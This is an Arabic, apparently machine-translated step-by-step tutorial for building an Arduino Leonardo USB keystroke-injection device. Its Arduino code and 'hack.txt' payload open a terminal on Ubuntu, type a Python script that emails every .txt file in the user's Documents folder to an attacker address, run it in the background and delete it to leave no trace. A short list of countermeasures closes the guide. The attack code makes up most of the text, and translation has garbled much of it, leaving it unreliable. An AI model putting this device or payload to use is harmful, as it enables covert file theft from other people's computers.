جدول المحتويات:

عرض توضيحي لاستغلال لوحة مفاتيح Arduino (HID) والوقاية: 4 خطوات (بالصور)
عرض توضيحي لاستغلال لوحة مفاتيح Arduino (HID) والوقاية: 4 خطوات (بالصور)

فيديو: عرض توضيحي لاستغلال لوحة مفاتيح Arduino (HID) والوقاية: 4 خطوات (بالصور)

فيديو: عرض توضيحي لاستغلال لوحة مفاتيح Arduino (HID) والوقاية: 4 خطوات (بالصور)
فيديو: الدرس الرابع عشر: مقدمة عن المكتبيات / لوحة المفاتيح keypad / شاشة العرض LCD 2024, يوليو
Anonim
Image
Image
بناء الجهاز
بناء الجهاز

في هذا المشروع ، سنستخدم arduino leonardo لمحاكاة هجوم USB محتمل باستخدام HID (جهاز واجهة الإنسان).

لقد أنشأت هذا البرنامج التعليمي ليس لمساعدة المتسللين ولكن لأظهر لك بعض المخاطر الحقيقية وكيفية حماية نفسك من تلك المخاطر. هذا الجهاز ليس جهازًا يمكن استخدامه على أي نظام أساسي للمتسللين ، إنه أكثر من مجرد إثبات للمفهوم بالتفصيل.

سوف نتعلم ما يلي:

- كيفية استخدام اردوينو ليوناردو لمحاكاة لوحة المفاتيح

- كيفية قراءة البيانات من بطاقات SD

- كيفية إنشاء برنامج نصي بيثون يقوم بمسح الملفات وإرسالها عبر البريد الإلكتروني

- كيف تحمي نفسك من أجهزة اختراق USB

الخطوة 1: المواد

القطع:

1. اردوينو ليوناردو

2. قارئ بطاقة USB الصغير

3. عدد قليل من بطاقة SD جيجابايت

4.زر ضغط مثل هذا (VCC والأرضي والإشارة)

5. كابلات العبور للإناث والذكور والإناث

6. مايكرو USB إلى كابل USB

الخطوة الثانية: بناء الجهاز

بناء الجهاز
بناء الجهاز

قبل تعليمات البناء ، دعنا نراجع مبدأ العمل:

يمكن أن يتصرف Arduino leonardo مثل جهاز واجهة بشرية (HID) وبالتالي يمكنه محاكاة الماوس ولوحة المفاتيح. سنستخدم هذه الميزة لفتح محطة طرفية (في UBUNTU linux) وكتابة برنامج نصي صغير يمكنه الوصول إلى / مجلد المستندات داخل المجلد الرئيسي للمستخدم بنسخ ملفات.txt هناك وإرسالها بالبريد الإلكتروني إلى شخص ما. إذا كنت ترغب في معرفة المزيد من التفاصيل ، فتحقق من الخطوة التالية.

نظرًا لأنه جهاز تجريبي ، فإن الأشياء بسيطة حقًا ، فلن نقوم بلحام أي شيء.

تعليمات البناء

قبل أن نبدأ ، تحقق من الملفات المرفقة ، قمت بإرفاق مخططات فريتز وجميع الملفات الضرورية

1. تجميع المكونات:

* قم بتوصيل كابل USB الصغير في اردوينو

* قم بتوصيل مفتاح التبديل بـ arduino (وحدة أرضية ، vcc ووحدة إخراج بـ D8)

* قم بتوصيل قارئ البطاقة بـ arduino (باستخدام رأس ICSP). لا يحتوي Arduino leonardo على رأس ICSP متصل بمسامير رقمية ، لذا ستحتاج إلى توصيل قارئ البطاقة برأس ICSP. يمكنك العثور على بعض رسومات ICSP هنا: https://learn.sparkfun.com/tutorials/installing-an…. قم بتوصيل SS pin بالرقم الرقمي 10

2. احصل على كود اردوينو ، يمكنك استنساخ مستودع اردوينو الخاص بي على جيثب: https://github.com/danionescu0/arduino وانتقل إلى المشاريع / keyboard_exploit أو احصل عليه من الأسفل:

# تضمين "Keyboard.h"

# تضمين "SPI.h" # تضمين "SD.h" String filenameOnCard = "hack.txt"؛ String sleepCommandStartingPoint = "السكون::"؛ أمر السلسلةStartingPoint = "أمر::"؛ int delayBetweenCommands = 10 ؛ const int buttonPin = 8 ؛ شريحة const intSelect = 10 ؛ int previousButtonState = عالية ؛ إعداد باطل () {pinMode (buttonPin ، INPUT) ؛ Serial.begin (9600) ؛ Keyboard.begin () ، if (! SD.begin (chipSelect)) {Serial.println ("البطاقة فشلت ، أو غير موجودة!") ؛ إرجاع؛ }} حلقة فارغة () {int buttonState = digitalRead (buttonPin) ؛ إذا ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard () ؛ Serial.println ("Uploaded!") ؛ تأخير (500) ؛ } previousButtonState = buttonState ؛ } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard) ؛ if (! dataFile) {Serial.println ("اسم الملف المحدد غير موجود على بطاقة SD ، تحقق من filenameOnCard!") ؛ } خط سلسلة؛ while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n') ؛ Serial.println (خط) ؛ sendToKeyboard (خط) ؛ } dataFile.close () ، } sendToKeyboard باطلة (String line) {String workingLine = line؛ if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line) ؛ إرجاع؛ } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:")؛ Serial.println (line)؛ Keyboard.println (خط) ؛ اضغط دخول()؛ إرجاع؛ } Serial.println ("Command:")؛ int charPosition = commandStartingPoint.length () ، int lineLength = line.length () ؛ workLine + = "،" ؛ while (workingLine! = "") {workingLine = workingLine.substring (charPosition)؛ Serial.print ("WorkingLine:") ؛ Serial.println (workingLine) ؛ int specialCommandDelimiterPosition = workingLine.indexOf ("،") ؛ أمر String = workingLine.substring (0، specialCommandDelimiterPosition) ؛ charPosition = specialCommandDelimiterPosition + 1 ؛ إذا (الأمر! = "") {Serial.print ("تم العثور على الأمر:") ؛ Serial.println (الأمر) ؛ Keyboard.press (getCommandCode (الأمر)) ؛ تأخير (تأخير بين الأوامر) ؛ }} Keyboard.releaseAll () ؛ تأخير (تأخير بين الأوامر) ؛ } pressEnter () باطل {Keyboard.press (KEY_RETURN) ، Keyboard.releaseAll () ؛ } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length ()، line.length ()). toInt ()؛ Serial.print ("السكون لـ:") ؛ Serial.println (sleepAmount) ؛ تأخير (مقدار النوم) ؛ } char getCommandCode (سلسلة نصية) {char textCharacters [2]؛ text.toCharArray (textCharacters، 2) ؛ char code = textCharacters [0] ؛ كود = (نص == "KEY_LEFT_CTRL")؟ KEY_LEFT_CTRL: كود ؛ كود = (نص == "KEY_LEFT_SHIFT")؟ KEY_LEFT_SHIFT: كود ؛ كود = (نص == "KEY_LEFT_ALT")؟ KEY_LEFT_ALT: كود ؛ كود = (نص == "KEY_UP_ARROW")؟ KEY_UP_ARROW: كود ؛ كود = (نص == "KEY_DOWN_ARROW")؟ KEY_DOWN_ARROW: كود ؛ كود = (نص == "KEY_LEFT_ARROW")؟ KEY_LEFT_ARROW: كود ؛ الكود = (text == "KEY_RIGHT_ARROW")؟ KEY_RIGHT_ARROW: كود ؛ كود = (نص == "KEY_RIGHT_GUI")؟ KEY_RIGHT_GUI: كود ؛ كود = (نص == "KEY_BACKSPACE")؟ KEY_BACKSPACE: كود ؛ كود = (نص == "KEY_TAB")؟ KEY_TAB: كود ؛ كود = (نص == "KEY_RETURN")؟ KEY_RETURN: كود ؛ كود = (نص == "KEY_ESC")؟ KEY_ESC: كود ؛ كود = (نص == "KEY_INSERT")؟ KEY_INSERT: كود ؛ كود = (نص == "KEY_DELETE")؟ KEY_DELETE: كود ؛ كود = (نص == "KEY_PAGE_UP")؟ KEY_PAGE_UP: كود ؛ كود = (نص == "KEY_PAGE_DOWN")؟ KEY_PAGE_DOWN: كود ؛ كود = (نص == "KEY_HOME")؟ KEY_HOME: كود ؛ كود = (نص == "KEY_END")؟ KEY_END: كود ؛ كود = (نص == "KEY_CAPS_LOCK")؟ KEY_CAPS_LOCK: كود ؛ كود = (نص == "KEY_F1")؟ KEY_F1: كود ؛ كود = (نص == "KEY_F2")؟ KEY_F2: كود ؛ كود = (نص == "KEY_F3")؟ KEY_F3: كود ؛ كود = (نص == "KEY_F4")؟ KEY_F4: كود ؛ كود = (نص == "KEY_F5")؟ KEY_F5: كود ؛ كود = (نص == "KEY_F6")؟ KEY_F6: كود ؛ كود = (نص == "KEY_F7")؟ KEY_F7: كود ؛ كود = (نص == "KEY_F8")؟ KEY_F8: كود ؛ كود = (نص == "KEY_F9")؟ KEY_F9: كود ؛ كود = (نص == "KEY_F10")؟ KEY_F10: كود ؛ كود = (نص == "KEY_F11")؟ KEY_F1: كود ؛ كود = (نص == "KEY_F12")؟ KEY_F2: كود ؛

رمز الإرجاع؛

}

3. قم بتحميل الكود إلى arduino ، تأكد من تحديد معدل الباود 9600 والمنفذ التسلسلي و arduino leonardo

4. قم بتهيئة بطاقة sd باستخدام FAT16 أو FAT32

5. إذا قمت باستنساخ github repo من الأعلى ، فقم بنسخ ملف hack.txt على البطاقة ، وإذا لم يكن الملف مدرجًا أدناه:

Command:: KEY_LEFT_CTRL، KEY_LEFT_ALT، tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT استيراد smtplib import glob ، os من os.path استيراد موسع من البريد الإلكتروني. MIMEM متعدد الأجزاء استيراد MIMEM متعدد الأجزاء من البريد الإلكتروني. MIMEBase استيراد MIMEBase من البريد الإلكتروني. MIMEText يقوم باستيراد نص MIMEText من البريد الإلكتروني.

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'المستندات'

subject = body = "ملفات من جهاز كمبيوتر مخترق"

header = 'إلى: {0} n من: {1} n الموضوع: {2} n'.format (to_address، smtp_user، subject)

def sendMail (إلى ، الموضوع ، النص ، الملفات = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = الموضوع msg.attach (MIMEText (نص)) للملف في الملفات: part = MIMEBase ('application'، "octet-stream") part.set_payload (فتح (ملف ، "rb"). اقرأ ()) جزء Encoders.encode_base64 (جزء). add_header ('Content-Disposition'، 'attachment؛ filename = "٪ s"'٪ os.path.basename (ملف)) msg.attach (جزء)

الخادم = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user، smtp_pass) server.sendmail (smtp_user، to، msg.as_string ()) server.quit ()

sendMail ([to_address]، subject، body، glob.glob ("{0} / {1} / *. txt".format (expanduser ("~")، scan_documents_location)))

النوم:: 50 الأمر:: KEY_ESC النوم:: 100: x النوم:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT، KEY_F4

6. قم بتحرير الأسطر التالية:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

واستبدل بعناوين بريدك الإلكتروني

7. أخرج البطاقة وأدخلها في قارئ بطاقة اردوينو

الخطوة 3: كيف يعمل بالتفصيل

كيف سيعمل الهجوم:

1. عند الضغط على الزر ، سوف يقرأ ليوناردو بطاقة sd باستخدام قارئ بطاقة sd. سيكون ملف خاص يحتوي على مفاتيح ومجموعة مفاتيح موجودة على البطاقة. اسم الملف هو "hack.txt".

يمكن أن يحتوي الملف على نص خام ، وسيتم تمريره إلى لوحة المفاتيح كما هو.

كما يمكن أن تحتوي على أوامر خاصة مثل "Sleep::" و "Command::".

خط مثل:

النوم:: 200 يعني سكون 200 مللي ثانية

خط مثل:

الأوامر:: KEY_LEFT_CTRL ، KEY_LEFT_ALT ، t تعني الضغط الأيسر ctrl ، الضغط الأيسر البديل ، الضغط على t وإطلاق الكل

يمكنك التحقق من جميع المفاتيح الخاصة هنا:

2. سيقرأ ليوناردو سطراً سطراً ، ويفسر الأوامر ويحاكي المفاتيح الموجودة على لوحة المفاتيح. يحتوي الملف "hack.txt" على مجموعة من المفاتيح التي تقوم بما يلي (لـ UBUNTU linux):

أ. يفتح محطة طرفية (CTRL + ALT + T)

ب. يفتح ملف python للإنشاء باستخدام vi (يكتب "vi hack.py"

ج. يكتب نصًا بيثون بداخله يجمع كل الملفات النصية داخل مجلد المستندات الرئيسي ويرسلها إلى عنوان بريد إلكتروني محدد

د. يشغل الملف في الخلفية ("nohup python hack.py &")

ه. يحذف الملف (rm -rf hack.py)

F. يغلق الجهاز (ALT + F4)

كل هذا يعمل في بضع ثوان ولا يترك آثارًا.

التحسينات واستكشاف الأخطاء وإصلاحها

* قد تلاحظ أنه بعد أن أقوم بفتح محطة طرفية ، أقوم بكتابة ملف python. أفضل طريقة لذلك هي استضافته في مكان ما وتنزيله باستخدام الأمر "wget some_url" ، ثم إعادة تسميته إلى hack.py

* يمكننا أيضًا تنزيل أو تشغيل استغلال جاهز لنظام التشغيل المستهدف

* يمكن إضافة wifi إلى الوحدة ، ويمكن تحميل الاختراقات عبر WIFI

* يمكنك استخدام arduino micro (وهو أصغر بكثير) وتضمين كود استغلال عليه (لجعله أصغر)

محددات

1. نظرًا لأن الجهاز المحاكى (لوحة المفاتيح والماوس) لا يحتوي على أي ملاحظات ، فإننا لا نعرف ما الذي سيحدث بعد إصدار أمر يعني أننا بحاجة إلى استخدام التأخيرات. على سبيل المثال ، أقوم بإصدار أمر لفتح Terminal ، لكنني لا أعرف متى سيتم فتحها بالفعل ، لذلك أحتاج إلى تحديد تأخير عشوائي لضمان عدم فقد الأحرف المكتوبة بعد ذلك.

2. قد نواجه مشكلات تتعلق بالإذن ، مثل عدم الوصول إلى منفذ USB أو الإذن بتثبيت شيء ما

3. سرعة الطباعة ليست كبيرة على ليوناردو

4. سيعمل فقط على نظام تشغيل مستهدف (في حالتنا UBUNTU linux)

في الخطوة التالية سنحاول إيجاد طرق لاستغلال هذه القيود لمنع اختراق جهاز الكمبيوتر الخاص بنا

الخطوة 4: الإجراءات المضادة

1. تعطيل منافذ USB

- بالنسبة لنظام التشغيل windows ، يمكنك التحقق من هذا البرنامج التعليمي:

2. إضافة أجهزة USB إلى القائمة البيضاء:

- للنوافذ:

2. قفل جهاز الكمبيوتر الخاص بك عندما لا تكون بعيدًا

3. لا تسجّل الدخول كجذر (اطلب كلمات مرور لتثبيت أي شيء)

4. حافظ على تحديث ذاتك (تشغيل التحديثات التلقائية)

موصى به: